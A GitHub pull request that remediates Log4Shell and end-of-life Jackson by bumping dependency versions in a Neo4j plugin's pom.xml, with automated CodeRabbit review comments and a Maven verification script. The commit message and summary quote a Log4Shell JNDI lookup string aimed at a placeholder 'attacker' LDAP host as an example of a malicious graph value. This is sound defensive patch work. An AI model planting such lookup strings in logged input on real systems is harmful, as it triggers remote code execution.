fix(security): remediate Log4Shell + EOL Jackson in neo4j transaction-event-handler - #21
fix(security): remediate Log4Shell + EOL Jackson in neo4j transaction-event-handler#21pallakartheekreddy wants to merge 1 commit into
Conversation
|
Warning Review limit reached
Next review available in: 47 minutes Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. Review details⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (1)
📝 WalkthroughWalkthroughThe transaction event handler Maven POM centralizes Log4j and Jackson versions through new properties and updates five dependency declarations to reference those properties. ChangesDependency Version Centralization
Estimated code review effort: 1 (Trivial) | ~5 minutes 🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@neo4j-extensions/transaction-event-handler/pom.xml`:
- Around line 12-17: Update the log4j.version property in the
transaction-event-handler Maven configuration from 2.17.1 to the latest Java
8-compatible 2.x release, keeping log4j-api, log4j-core, and log4j-1.2-api
aligned through that property. Leave jackson.version at 2.17.2 and revise the
outdated Log4j comment accordingly.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 6041428e-2c4b-4afc-92aa-ec6151985120
📒 Files selected for processing (1)
neo4j-extensions/transaction-event-handler/pom.xml
| <!-- log4j 2.17.1 is the last line guaranteeing Java 8 and fully remediates the | ||
| Log4Shell CVE chain (CVE-2021-44228/45046/45105/44832). Keep the three | ||
| artifacts in lockstep via this property. --> | ||
| <log4j.version>2.17.1</log4j.version> | ||
| <!-- Jackson 2.17.x replaces the EOL 2.7.4 (polymorphic-deserialization CVEs); Java-8 compatible. --> | ||
| <jackson.version>2.17.2</jackson.version> |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
module='neo4j-extensions/transaction-event-handler'
effective_pom="$(mktemp)"
trap 'rm -f "$effective_pom"' EXIT
mvn -pl "$module" -am help:effective-pom -Doutput="$effective_pom"
mvn -pl "$module" -am dependency:tree -Dverbose \
'-Dincludes=org.apache.logging.log4j:*,com.fasterxml.jackson.core:*'
if rg -n '2\.8\.2|2\.7\.4' "$effective_pom"; then
echo "Vulnerable dependency versions remain in the effective POM" >&2
exit 1
fi
rg -n '<log4j.version>|<jackson.version>|\$\{(log4j|jackson)\.version\}' \
"$effective_pom"Repository: Sunbird-Knowlg/knowledge-platform-db-extensions
Length of output: 226
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
# Locate the target POM and related dependency declarations.
git ls-files 'neo4j-extensions/transaction-event-handler/pom.xml' \
'neo4j-extensions/**/pom.xml' \
'pom.xml' \
| sed -n '1,200p'
echo
echo '--- target pom excerpt ---'
cat -n neo4j-extensions/transaction-event-handler/pom.xml | sed -n '1,220p'
echo
echo '--- search for log4j/jackson version properties and overrides ---'
rg -n '<(log4j|jackson)\.version>|log4j-core|log4j-1\.2-api|jackson-databind|jackson-annotations|jackson-core' \
neo4j-extensions pom.xml -g 'pom.xml'Repository: Sunbird-Knowlg/knowledge-platform-db-extensions
Length of output: 6026
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
# Check whether the module uses only these two properties or if there are other overrides in the reactor.
rg -n '2\.17\.1|2\.17\.2|2\.8\.2|2\.7\.4|2\.18|2\.21|log4j.version|jackson.version' \
. -g 'pom.xml' -g 'pom.properties' -g 'build.gradle' -g 'build.gradle.kts' -g 'gradle.properties'Repository: Sunbird-Knowlg/knowledge-platform-db-extensions
Length of output: 1379
🌐 Web query:
Apache Log4j 2.17.1 maintenance status Java 8 current release line official site Jackson 2.17 2.18 Java 8 official release notes
💡 Result:
Apache Log4j 2.17.1 is in End-of-Maintenance (EOM) status [1]. The Apache Log4j project does not provide active maintenance, including security updates, for the 2.17.x line; only the latest release in the 2.x series receives such updates [2][3]. Users are advised to upgrade to the latest 2.x release, which remains compatible with Java 8 [1][4][5]. Regarding Jackson, both version 2.17 and 2.18 are established releases [6][7][8]. Jackson 2.18 was released on September 26, 2024, and is designated as a Long-Term-Support (LTS) version intended to be open for patch releases through at least the end of 2026 [7]. Both 2.17 and 2.18 require a minimum of Java 8 [9]. Jackson release notes confirm that these versions continue to support Java 8 environments and have introduced features related to Java 8 datatypes and records [7][8].
Citations:
- 1: https://logging.apache.org/log4j/2.x/download.html
- 2: https://www.mail-archive.com/dev@logging.apache.org/msg14093.html
- 3: https://logging.staged.apache.org/log4j/2.x/versioning.html
- 4: https://logging.apache.org/log4j/2.x/release-notes.html
- 5: https://logging.apache.org/log4j/2.x/manual/installation.html
- 6: https://github.com/FasterXML/jackson-databind/blob/master/release-notes/VERSION-2.x
- 7: https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.18
- 8: https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.17
- 9: https://github.com/FasterXML/jackson-databind/blob/2.18/README.md
Bump Log4j off the EOM line neo4j-extensions/transaction-event-handler/pom.xml:12-17 pins log4j-api, log4j-core, and log4j-1.2-api to 2.17.1; move them to the latest Java 8-compatible 2.x release. jackson.version can stay at 2.17.2.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@neo4j-extensions/transaction-event-handler/pom.xml` around lines 12 - 17,
Update the log4j.version property in the transaction-event-handler Maven
configuration from 2.17.1 to the latest Java 8-compatible 2.x release, keeping
log4j-api, log4j-core, and log4j-1.2-api aligned through that property. Leave
jackson.version at 2.17.2 and revise the outdated Log4j comment accordingly.
Source: MCP tools
…-event-handler
The neo4j-extensions/transaction-event-handler plugin bundled (compile scope)
log4j-core/api/1.2-api 2.8.2 and jackson-core/databind 2.7.4. The handler logs
attacker-influenceable graph property values (name, channel, arbitrary metadata)
through log4j2, so a crafted value such as ${jndi:ldap://.../x} reaching the graph
could trigger a JNDI lookup -> RCE inside the DB JVM (CVE-2021-44228 / Log4Shell).
Jackson 2.7.4 is years-EOL with known polymorphic-deserialization CVEs.
- Bump log4j-* 2.8.2 -> 2.17.1 (last line guaranteeing Java 8; fully closes the
Log4Shell chain CVE-2021-44228/45046/45105/44832).
- Bump jackson-core/databind 2.7.4 -> 2.17.2 (Java-8 compatible).
- Introduce <log4j.version>/<jackson.version> properties so the artifacts stay
in lockstep and regressions are easy to gate on.
Dependency-only change to an in-process DB plugin; payload/contract unchanged.
Module stays on Java 8 (Neo4j 3.0.4). Verified: `mvn dependency:tree` resolves
2.17.1/2.17.2 with no 2.8.2/2.7.4 remaining; module compiles under JDK 8. The
pre-existing TestNeo4JCluster integration failures are unchanged by this bump
(confirmed identical on the original versions).
Implements X1/X2 (Wave 0) from implementation-designs/knowledge-platform-db-extensions.md.
c3d4942 to
de19b05
Compare
1 participant
Summary
Remediates the Log4Shell (CVE-2021-44228) exposure and EOL Jackson in
neo4j-extensions/transaction-event-handler— PLAN.md Critical #3 / top quick-win #1, tracked as X1/X2 (Wave 0) inimplementation-designs/knowledge-platform-db-extensions.md.The vulnerability
transaction-event-handler/pom.xmlpinnedlog4j-core/api/1.2-apiat 2.8.2 andjackson-core/databindat 2.7.4, allcompilescope so bundled into the plugin jar deployed to$NEO4J_HOME/plugins/. The handler logs attacker-influenceable graph property values (name,channel, arbitrary metadata) through log4j2 (utils/LogAsyncGraphEvent.java:23), so a crafted value like${jndi:ldap://attacker/x}reaching the graph → JNDI lookup → RCE inside the Neo4j JVM. Jackson 2.7.4 is years-EOL with known polymorphic-deserialization CVEs.The fix
log4j-*2.8.2 → 2.17.1 — last line guaranteeing Java 8 (module is pinned to Java 8 for Neo4j 3.0.4); fully closes the Log4Shell chain (CVE-2021-44228/45046/45105/44832).jackson-core/jackson-databind2.7.4 → 2.17.2 — Java-8 compatible.<log4j.version>/<jackson.version>properties so the artifacts stay in lockstep and CI can gate on regressions.Dependency-only change to an in-process DB plugin — payload/contract unchanged, no consumer coordination. Rollout = rebuild jar → replace under
plugins/→ restart Neo4j (rolling per HA member). Rollback = redeploy prior jar.Verification
mvn dependency:treeresolves log4j 2.17.1 / jackson 2.17.2 (annotations aligned), with no 2.8.2 / 2.7.4 remaining anywhere in the tree.TestNeo4JClusterembedded-Neo4j integration failures are unchanged by this bump — confirmed byte-for-byte identical (9/9) when run against the original 2.8.2/2.7.4 versions, so they are environmental and not a regression from this change.Usage code compatibility
Only
ObjectMapper.writeValueAsString(Jackson) and the standardorg.apache.logging.log4j2.xLogManager/LoggerAPI are used — both fully compatible across these version ranges.Summary by CodeRabbit